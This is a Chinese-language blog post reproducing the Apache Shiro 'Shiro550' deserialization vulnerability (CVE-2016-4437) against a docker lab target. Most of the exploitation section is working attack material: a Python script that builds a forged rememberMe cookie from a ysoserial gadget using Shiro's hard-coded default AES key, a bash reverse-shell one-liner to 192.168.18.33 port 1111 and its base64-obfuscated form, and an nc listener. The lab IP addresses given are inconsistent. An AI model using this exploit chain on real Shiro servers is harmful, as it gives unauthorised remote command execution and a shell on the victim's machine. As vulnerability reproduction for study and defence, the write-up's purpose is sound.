CVE-2016-4437(Apache Shiro反序列化漏洞复现Shiro550)

Apache Shiro反序列化漏洞复现(Shiro550,CVE-2016-4437)

0x01 漏洞简介

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

影响版本 Shiro <= 1.2.4

### 0x02 环境准备

docker(192.168.18.132)
Kali(192.168.18.133)

环境准备:

1.漏洞环境

Docker pull medicean/vulapps:s_shiro_1获取docker镜像
systemctl start docker重启docker
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1启动环境把8080端口改为80端口

2.攻击工具

1)pip3 install pycrypto安装python中的pycrypto
2)apt install maven安装MVN
mvn –version验证
安装Open JDK 11
Debian 10 默认安装的 OpenJDK 11 可以满足运行基于 OpenJDK 开发的 java 应用程序。如果你想使用javac命令编译代码,那么你还需要再完成安装一下。通过以下命令即可完成:
sudo apt-get update
sudo apt-get install default-jdk
安装完成后可以通过以下命令校验安装结果。打开命令终端,输入:
java -version
3)git clone https://github.com/frohoff/ysoserial.git # 安装java反序列化payload集成包ysoseri
cd ysoserial
mvn package -DskipTest
4)生成payload的python脚本test.py上传至/root/ysoserial/target:

 1 import sys
 2 import base64
 3 import uuid
 4 from random import Random
 5 import subprocess
 6 from Crypto.Cipher import AES
 7 
 8 def encode_rememberme(command):
 9 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
10 BS = AES.block_size
11 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
12 key = "kPH+bIxk5D2deZiIxcaaaA=="
13 mode = AES.MODE_CBC
14 iv = uuid.uuid4().bytes
15 encryptor = AES.new(base64.b64decode(key), mode, iv)
16 file_body = pad(popen.stdout.read())
17 base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
18 return base64_ciphertext
19 
20 if __name__ == '__main__':
21 payload = encode_rememberme(sys.argv[1])
22 with open("/tmp/payload.cookie", "w") as fpw:
23 print("rememberMe={}".format(payload.decode()), file=fpw)

0x03 进攻复现

漏洞扫描:

攻击机ip为33,靶机为32
此时漏洞环境已经搭建成功,如下所示:
攻击机192.168.10.158访问靶机144并抓包可看到有rememberme字样的cookie

漏洞利用:

反弹命令进行加密https://x.hacking8.com/?post=293
bash -i >& /dev/tcp/192.168.18.33/1111 0>&1
加密后如下
>bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEzMy8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}

在tmp目录下生成payload.cookie
>python test.py bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEzMy8xMTExIDA+JjE=}|{base64,-d}|{bash,-i

将这个伪造的cookie值需要复制到响应包有remember值的包发送得到反弹shell;同时攻击机多开命令框进行nc的一个端口监听nc -lvvp 1111,然后再发送伪造的cookie值,

点击发送伪造的包,此时就能获得靶机的反弹shell

posted @ 2022-03-31 13:57  胡阿斐  阅读(898)  评论(0编辑  收藏  举报